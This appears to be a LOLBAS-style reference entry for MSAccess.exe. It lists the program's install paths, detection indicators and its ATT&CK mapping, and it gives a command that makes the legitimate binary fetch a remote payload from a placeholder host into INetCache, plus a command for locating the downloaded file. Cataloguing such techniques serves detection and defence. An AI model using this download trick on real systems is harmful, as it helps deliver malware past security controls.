.. /MSAccess.exe
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Download (INetCache)

Microsoft Office component

Paths:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSAccess.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSAccess.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSAccess.exe
C:\Program Files\Microsoft Office\Office16\MSAccess.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSAccess.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSAccess.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSAccess.exe
C:\Program Files\Microsoft Office\Office15\MSAccess.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSAccess.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSAccess.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSAccess.exe
C:\Program Files\Microsoft Office\Office14\MSAccess.exe
C:\Program Files (x86)\Microsoft Office\Office12\MSAccess.exe
C:\Program Files\Microsoft Office\Office12\MSAccess.exe

Acknowledgements:

Nir Chako (@C_h4ck_0)

Detections:

IOC: URL on a MSAccess command line
IOC: MSAccess making unexpected network connections or DNS requests

Download

Downloads payload from remote server
```
MSAccess.exe https://example.com/payload.exe.mdb
```
Use case
It will download a remote payload (if it has the filename extension .mdb) and place it in INetCache.

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1105
Tags
Download: INetCache
INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"